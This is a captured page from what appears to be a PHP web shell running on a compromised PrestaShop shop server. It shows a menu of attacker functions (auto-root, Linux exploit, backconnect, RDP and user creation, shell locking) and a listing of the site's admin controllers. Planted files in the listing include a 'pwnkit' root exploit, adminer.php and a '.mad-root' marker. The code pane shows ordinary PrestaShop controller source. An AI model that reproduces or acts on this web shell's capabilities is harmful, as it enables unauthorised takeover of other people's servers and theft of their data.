Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.63
KB
-rw----r--
AdminAddonsCatalogController.p...
1.98
KB
-rw----r--
AdminAddressesController.php
15.46
KB
-rw----r--
AdminAdminPreferencesControlle...
7.88
KB
-rw----r--
AdminAttachmentsController.php
7.29
KB
-rw----r--
AdminAttributeGeneratorControl...
8.69
KB
-rw----r--
AdminAttributesGroupsControlle...
28.13
KB
-rw----r--
AdminBackupController.php
8.91
KB
-rw----r--
AdminCarrierWizardController.p...
29.49
KB
-rw----r--
AdminCarriersController.php
22.76
KB
-rw----r--
AdminCartRulesController.php
27.36
KB
-rw----r--
AdminCartsController.php
33.12
KB
-rw----r--
AdminCategoriesController.php
28.58
KB
-rw----r--
AdminCmsCategoriesController.p...
10.89
KB
-rw----r--
AdminCmsContentController.php
11.05
KB
-rw----r--
AdminCmsController.php
14.58
KB
-rw----r--
AdminContactsController.php
3.81
KB
-rw----r--
AdminCountriesController.php
14.92
KB
-rw----r--
AdminCurrenciesController.php
11.03
KB
-rw----r--
AdminCustomerPreferencesContro...
4.12
KB
-rw----r--
AdminCustomerThreadsController...
34.39
KB
-rw----r--
AdminCustomersController.php
33.1
KB
-rw----r--
AdminDashboardController.php
15.28
KB
-rw----r--
AdminDeliverySlipController.ph...
4.02
KB
-rw----r--
AdminEmailsController.php
9.18
KB
-rw----r--
AdminEmployeesController.php
21.16
KB
-rw----r--
AdminFeaturesController.php
17.44
KB
-rw----r--
AdminGendersController.php
5.79
KB
-rw----r--
AdminGeolocationController.php
6.01
KB
-rw----r--
AdminGroupsController.php
18.53
KB
-rw----r--
AdminImagesController.php
24.85
KB
-rw----r--
AdminImportController.php
134.18
KB
-rw----r--
AdminInformationController.php
6.49
KB
-rw----r--
AdminInvoicesController.php
8.78
KB
-rw----r--
AdminLanguagesController.php
17.8
KB
-rw----r--
AdminLocalizationController.ph...
12.33
KB
-rw----r--
AdminLoginController.php
9.64
KB
-rw----r--
AdminLogsController.php
3.71
KB
-rw----r--
AdminMaintenanceController.php
2.06
KB
-rw----r--
AdminManufacturersController.p...
23.4
KB
-rw----r--
AdminMarketingController.php
1.63
KB
-rw----r--
AdminMetaController.php
24.65
KB
-rw----r--
AdminModulesController.php
61.15
KB
-rw----r--
AdminModulesPositionsControlle...
21.8
KB
-rw----r--
AdminNotFoundController.php
1.46
KB
-rw----r--
AdminOrderMessageController.ph...
2.67
KB
-rw----r--
AdminOrderPreferencesControlle...
6.37
KB
-rw----r--
AdminOrdersController.php
101.09
KB
-rw----r--
AdminOutstandingController.php
4.95
KB
-rw----r--
AdminPPreferencesController.ph...
10.81
KB
-rw----r--
AdminPatternsController.php
18.18
KB
-rw----r--
AdminPaymentController.php
8.99
KB
-rw----r--
AdminPdfController.php
6.83
KB
-rw----r--
AdminPerformanceController.php
32.64
KB
-rw----r--
AdminPreferencesController.php
6.98
KB
-rw----r--
AdminProductsController.php
183.23
KB
-rw----r--
AdminProfilesController.php
3.13
KB
-rw----r--
AdminQuickAccessesController.p...
4.5
KB
-rw----r--
AdminRangePriceController.php
5.27
KB
-rw----r--
AdminRangeWeightController.php
5.23
KB
-rw----r--
AdminReferrersController.php
14.62
KB
-rw----r--
AdminRequestSqlController.php
13.46
KB
-rw----r--
AdminReturnController.php
9.67
KB
-rw----r--
AdminScenesController.php
10.96
KB
-rw----r--
AdminSearchConfController.php
10.74
KB
-rw----r--
AdminSearchController.php
16.16
KB
-rw----r--
AdminSearchEnginesController.p...
2.65
KB
-rw----r--
AdminShippingController.php
6.4
KB
-rw----r--
AdminShopController.php
26.41
KB
-rw----r--
AdminShopGroupController.php
10.74
KB
-rw----r--
AdminShopUrlController.php
15.56
KB
-rw----r--
AdminSlipController.php
5.46
KB
-rw----r--
AdminSpecificPriceRuleControll...
10.24
KB
-rw----r--
AdminStatesController.php
8.51
KB
-rw----r--
AdminStatsController.php
32.5
KB
-rw----r--
AdminStatsTabController.php
10.03
KB
-rw----r--
AdminStatusesController.php
18.24
KB
-rw----r--
AdminStockConfigurationControl...
18.57
KB
-rw----r--
AdminStockCoverController.php
12.28
KB
-rw----r--
AdminStockInstantStateControll...
17.52
KB
-rw----r--
AdminStockManagementController...
38.91
KB
-rw----r--
AdminStockMvtController.php
9.54
KB
-rw----r--
AdminStoresController.php
17.15
KB
-rw----r--
AdminSuppliersController.php
16.21
KB
-rw----r--
AdminSupplyOrdersController.ph...
73.41
KB
-rw----r--
AdminTabsController.php
9.17
KB
-rw----r--
AdminTagsController.php
4.04
KB
-rw----r--
AdminTaxRulesGroupController.p...
14.35
KB
-rw----r--
AdminTaxesController.php
8.92
KB
-rw----r--
AdminThemesController.php
92.51
KB
-rw----r--
AdminTrackingController.php
11.15
KB
-rw----r--
AdminTranslationsController.ph...
106.53
KB
-rw----r--
AdminWarehousesController.php
18.56
KB
-rw----r--
AdminWebserviceController.php
8.44
KB
-rw----r--
AdminZonesController.php
3.38
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminFeaturesController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AdminFeaturesControllerCore extends AdminController { public $bootstrap = true; protected $position_identifier = 'id_feature'; protected $feature_name; public function __construct() { $this->table = 'feature'; $this->className = 'Feature'; $this->list_id = 'feature'; $this->identifier = 'id_feature'; $this->lang = true; $this->fields_list = array( 'id_feature' => array( 'title' => $this->l('ID'), 'align' => 'center', 'class' => 'fixed-width-xs' ), 'name' => array( 'title' => $this->l('Name'), 'width' => 'auto', 'filter_key' => 'b!name' ), 'value' => array( 'title' => $this->l('Values'), 'orderby' => false, 'search' => false, 'align' => 'center', 'class' => 'fixed-width-xs' ), 'position' => array( 'title' => $this->l('Position'), 'filter_key' => 'a!position', 'align' => 'center', 'class' => 'fixed-width-xs', 'position' => 'position' ) ); $this->bulk_actions = array( 'delete' => array( 'text' => $this->l('Delete selected'), 'icon' => 'icon-trash', 'confirm' => $this->l('Delete selected items?') ) ); parent::__construct(); } /** * AdminController::renderList() override * @see AdminController::renderList() */ public function renderList() { $this->addRowAction('view'); $this->addRowAction('edit'); $this->addRowAction('delete'); return parent::renderList(); } /** * Change object type to feature value (use when processing a feature value) */ protected function setTypeValue() { $this->table = 'feature_value'; $this->className = 'FeatureValue'; $this->identifier = 'id_feature_value'; } /** * Change object type to feature (use when processing a feature) */ protected function setTypeFeature() { $this->table = 'feature'; $this->className = 'Feature'; $this->identifier = 'id_feature'; } public function renderView() { if (($id = Tools::getValue('id_feature'))) { $this->setTypeValue(); $this->list_id = 'feature_value'; $this->lang = true; // Action for list $this->addRowAction('edit'); $this->addRowAction('delete'); if (!Validate::isLoadedObject($obj = new Feature((int)$id))) { $this->errors[] = Tools::displayError('An error occurred while updating the status for an object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); return; } $this->feature_name = $obj->name; $this->toolbar_title = $this->feature_name[$this->context->employee->id_lang]; $this->fields_list = array( 'id_feature_value' => array( 'title' => $this->l('ID'), 'align' => 'center', 'class' => 'fixed-width-xs' ), 'value' => array( 'title' => $this->l('Value') ) ); $this->_where = sprintf('AND `id_feature` = %d', (int)$id); self::$currentIndex = self::$currentIndex.'&id_feature='.(int)$id.'&viewfeature'; $this->processFilter(); return parent::renderList(); } } /** * AdminController::renderForm() override * @see AdminController::renderForm() */ public function renderForm() { $this->toolbar_title = $this->l('Add a new feature'); $this->fields_form = array( 'legend' => array( 'title' => $this->l('Feature'), 'icon' => 'icon-info-sign' ), 'input' => array( array( 'type' => 'text', 'label' => $this->l('Name'), 'name' => 'name', 'lang' => true, 'size' => 33, 'hint' => $this->l('Invalid characters:').' <>;=#{}', 'required' => true ) ) ); if (Shop::isFeatureActive()) { $this->fields_form['input'][] = array( 'type' => 'shop', 'label' => $this->l('Shop association'), 'name' => 'checkBoxShopAsso', ); } $this->fields_form['submit'] = array( 'title' => $this->l('Save'), ); return parent::renderForm(); } public function initPageHeaderToolbar() { if (empty($this->display)) { $this->page_header_toolbar_btn['new_feature'] = array( 'href' => self::$currentIndex.'&addfeature&token='.$this->token, 'desc' => $this->l('Add new feature', null, null, false), 'icon' => 'process-icon-new' ); $this->page_header_toolbar_btn['new_feature_value'] = array( 'href' => self::$currentIndex.'&addfeature_value&id_feature='.(int)Tools::getValue('id_feature').'&token='.$this->token, 'desc' => $this->l('Add new feature value', null, null, false), 'icon' => 'process-icon-new' ); } if ($this->display == 'view') $this->page_header_toolbar_btn['new_feature_value'] = array( 'href' => self::$currentIndex.'&addfeature_value&id_feature='.(int)Tools::getValue('id_feature').'&token='.$this->token, 'desc' => $this->l('Add new feature value', null, null, false), 'icon' => 'process-icon-new' ); parent::initPageHeaderToolbar(); } /** * AdminController::initToolbar() override * @see AdminController::initToolbar() */ public function initToolbar() { switch ($this->display) { case 'editFeatureValue': case 'add': case 'edit': $this->toolbar_btn['save'] = array( 'href' => '#', 'desc' => $this->l('Save') ); if ($this->display == 'editFeatureValue') $this->toolbar_btn['save-and-stay'] = array( 'short' => 'SaveAndStay', 'href' => '#', 'desc' => $this->l('Save and add another value'), 'force_desc' => true, ); // Default cancel button - like old back link $back = Tools::safeOutput(Tools::getValue('back', '')); if (empty($back)) $back = self::$currentIndex.'&token='.$this->token; $this->toolbar_btn['back'] = array( 'href' => $back, 'desc' => $this->l('Back to the list') ); break; case 'view': $this->toolbar_btn['newAttributes'] = array( 'href' => self::$currentIndex.'&addfeature_value&id_feature='.(int)Tools::getValue('id_feature').'&token='.$this->token, 'desc' => $this->l('Add new feature values') ); $this->toolbar_btn['back'] = array( 'href' => self::$currentIndex.'&token='.$this->token, 'desc' => $this->l('Back to the list') ); break; default: parent::initToolbar(); } } public function initToolbarTitle() { $bread_extended = $this->breadcrumbs; switch ($this->display) { case 'edit': $bread_extended[] = $this->l('Edit New Feature'); break; case 'add': $bread_extended[] = $this->l('Add New Feature'); break; case 'view': $bread_extended[] = $this->feature_name[$this->context->employee->id_lang]; break; case 'editFeatureValue': if (($id_feature_value = Tools::getValue('id_feature_value'))) { if (($id = Tools::getValue('id_feature'))) { if (Validate::isLoadedObject($obj = new Feature((int)$id))) $bread_extended[] = '<a href="'.Context::getContext()->link->getAdminLink('AdminFeatures').'&id_feature='.$id.'&viewfeature">'.$obj->name[$this->context->employee->id_lang].'</a>'; if (Validate::isLoadedObject($obj = new FeatureValue((int)Tools::getValue('id_feature_value')))) $bread_extended[] = sprintf($this->l('Edit: %s'), $obj->value[$this->context->employee->id_lang]); } else $bread_extended[] = $this->l('Edit Value'); } else $bread_extended[] = $this->l('Add New Value'); break; } $this->toolbar_title = $bread_extended; } /** * AdminController::renderForm() override * @see AdminController::renderForm() */ public function initFormFeatureValue() { $this->setTypeValue(); $this->fields_form[0]['form'] = array( 'legend' => array( 'title' => $this->l('Feature value'), 'icon' => 'icon-info-sign' ), 'input' => array( array( 'type' => 'select', 'label' => $this->l('Feature'), 'name' => 'id_feature', 'options' => array( 'query' => Feature::getFeatures($this->context->language->id), 'id' => 'id_feature', 'name' => 'name' ), 'required' => true ), array( 'type' => 'text', 'label' => $this->l('Value'), 'name' => 'value', 'lang' => true, 'size' => 33, 'hint' => $this->l('Invalid characters:').' <>;=#{}', 'required' => true ), ), 'submit' => array( 'title' => $this->l('Save'), ), 'buttons' => array( 'save-and-stay' => array( 'title' => $this->l('Save then add another value'), 'name' => 'submitAdd'.$this->table.'AndStay', 'type' => 'submit', 'class' => 'btn btn-default pull-right', 'icon' => 'process-icon-save' ) ) ); $this->fields_value['id_feature'] = (int)Tools::getValue('id_feature'); // Create Object FeatureValue $feature_value = new FeatureValue(Tools::getValue('id_feature_value')); $this->tpl_vars = array( 'feature_value' => $feature_value, ); $this->getlanguages(); $helper = new HelperForm(); $helper->show_cancel_button = true; $back = Tools::safeOutput(Tools::getValue('back', '')); if (empty($back)) $back = self::$currentIndex.'&token='.$this->token; if (!Validate::isCleanHtml($back)) die(Tools::displayError()); $helper->back_url = $back; $helper->currentIndex = self::$currentIndex; $helper->token = $this->token; $helper->table = $this->table; $helper->identifier = $this->identifier; $helper->override_folder = 'feature_value/'; $helper->id = $feature_value->id; $helper->toolbar_scroll = false; $helper->tpl_vars = $this->tpl_vars; $helper->languages = $this->_languages; $helper->default_form_language = $this->default_form_language; $helper->allow_employee_form_lang = $this->allow_employee_form_lang; $helper->fields_value = $this->getFieldsValue($feature_value); $helper->toolbar_btn = $this->toolbar_btn; $helper->title = $this->l('Add a new feature value'); $this->content .= $helper->generateForm($this->fields_form); } /** * AdminController::initContent() override * @see AdminController::initContent() */ public function initContent() { if (Feature::isFeatureActive()) { // toolbar (save, cancel, new, ..) $this->initTabModuleList(); $this->initToolbar(); $this->initPageHeaderToolbar(); if ($this->display == 'edit' || $this->display == 'add') { if (!$this->loadObject(true)) return; $this->content .= $this->renderForm(); } else if ($this->display == 'view') { // Some controllers use the view action without an object if ($this->className) $this->loadObject(true); $this->content .= $this->renderView(); } else if ($this->display == 'editFeatureValue') { if (!$this->object = new FeatureValue((int)Tools::getValue('id_feature_value'))) return; $this->content .= $this->initFormFeatureValue(); } else if (!$this->ajax) { // If a feature value was saved, we need to reset the values to display the list $this->setTypeFeature(); $this->content .= $this->renderList(); } } else { $url = '<a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.$this->l('Performance').'</a>'; $this->displayWarning(sprintf($this->l('This feature has been disabled. You can activate it here: %s.'), $url)); } $this->context->smarty->assign(array( 'content' => $this->content, 'url_post' => self::$currentIndex.'&token='.$this->token, 'show_page_header_toolbar' => $this->show_page_header_toolbar, 'page_header_toolbar_title' => $this->page_header_toolbar_title, 'page_header_toolbar_btn' => $this->page_header_toolbar_btn )); } public function initProcess() { // Are we working on feature values? if (Tools::getValue('id_feature_value') || Tools::isSubmit('deletefeature_value') || Tools::isSubmit('submitAddfeature_value') || Tools::isSubmit('addfeature_value') || Tools::isSubmit('updatefeature_value') || Tools::isSubmit('submitBulkdeletefeature_value')) $this->setTypeValue(); if (Tools::getIsset('viewfeature')) { $this->list_id = 'feature_value'; if (isset($_POST['submitReset'.$this->list_id])) $this->processResetFilters(); } else { $this->list_id = 'feature'; $this->_defaultOrderBy = 'position'; $this->_defaultOrderWay = 'ASC'; } parent::initProcess(); } public function postProcess() { if (!Feature::isFeatureActive()) return; if ($this->table == 'feature_value' && ($this->action == 'save' || $this->action == 'delete' || $this->action == 'bulkDelete')) Hook::exec('displayFeatureValuePostProcess', array('errors' => &$this->errors)); // send errors as reference to allow displayFeatureValuePostProcess to stop saving process else Hook::exec('displayFeaturePostProcess', array('errors' => &$this->errors)); // send errors as reference to allow displayFeaturePostProcess to stop saving process parent::postProcess(); if ($this->table == 'feature_value' && ($this->display == 'edit' || $this->display == 'add')) $this->display = 'editFeatureValue'; } /** * Override processAdd to change SaveAndStay button action * @see classes/AdminControllerCore::processAdd() */ public function processAdd() { $object = parent::processAdd(); if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) { if( $this->table == 'feature_value' && ($this->display == 'edit' || $this->display == 'add') ) $this->redirect_after = self::$currentIndex.'&addfeature_value&id_feature='.(int)Tools::getValue('id_feature').'&token='.$this->token; else $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; } elseif (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && count($this->errors)) $this->display = 'editFeatureValue'; return $object; } /** * Override processUpdate to change SaveAndStay button action * @see classes/AdminControllerCore::processUpdate() */ public function processUpdate() { $object = parent::processUpdate(); if (Tools::isSubmit('submitAdd'.$this->table.'AndStay') && !count($this->errors)) $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'=&conf=3&update'.$this->table.'&token='.$this->token; return $object; } /** * Call the right method for creating or updating object * * @return mixed */ public function processSave() { if ($this->table == 'feature') { $id_feature = (int)Tools::getValue('id_feature'); // Adding last position to the feature if not exist if ($id_feature <= 0) { $sql = 'SELECT `position`+1 FROM `'._DB_PREFIX_.'feature` ORDER BY position DESC'; // set the position of the new feature in $_POST for postProcess() method $_POST['position'] = DB::getInstance()->getValue($sql); } // clean \n\r characters foreach ($_POST as $key => $value) if (preg_match('/^name_/Ui', $key)) $_POST[$key] = str_replace ('\n', '', str_replace('\r', '', $value)); } return parent::processSave(); } /** * AdminController::getList() override * @see AdminController::getList() */ public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = false, $id_lang_shop = false) { if ($this->table == 'feature_value') $this->_where .= ' AND (a.custom = 0 OR a.custom IS NULL)'; parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); if ($this->table == 'feature') { $nb_items = count($this->_list); for ($i = 0; $i < $nb_items; ++$i) { $item = &$this->_list[$i]; $query = new DbQuery(); $query->select('COUNT(fv.id_feature_value) as count_values'); $query->from('feature_value', 'fv'); $query->where('fv.id_feature ='.(int)$item['id_feature']); $query->where('(fv.custom=0 OR fv.custom IS NULL)'); $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); $item['value'] = (int)$res; unset($query); } } } public function ajaxProcessUpdatePositions() { if ($this->tabAccess['edit'] === '1') { $way = (int)Tools::getValue('way'); $id_feature = (int)Tools::getValue('id'); $positions = Tools::getValue('feature'); $new_positions = array(); foreach ($positions as $k => $v) if (!empty($v)) $new_positions[] = $v; foreach ($new_positions as $position => $value) { $pos = explode('_', $value); if (isset($pos[2]) && (int)$pos[2] === $id_feature) { if ($feature = new Feature((int)$pos[2])) if (isset($position) && $feature->updatePosition($way, $position, $id_feature)) echo 'ok position '.(int)$position.' for feature '.(int)$pos[1].'\r\n'; else echo '{"hasError" : true, "errors" : "Can not update feature '.(int)$id_feature.' to position '.(int)$position.' "}'; else echo '{"hasError" : true, "errors" : "This feature ('.(int)$id_feature.') can t be loaded"}'; break; } } } } }
Close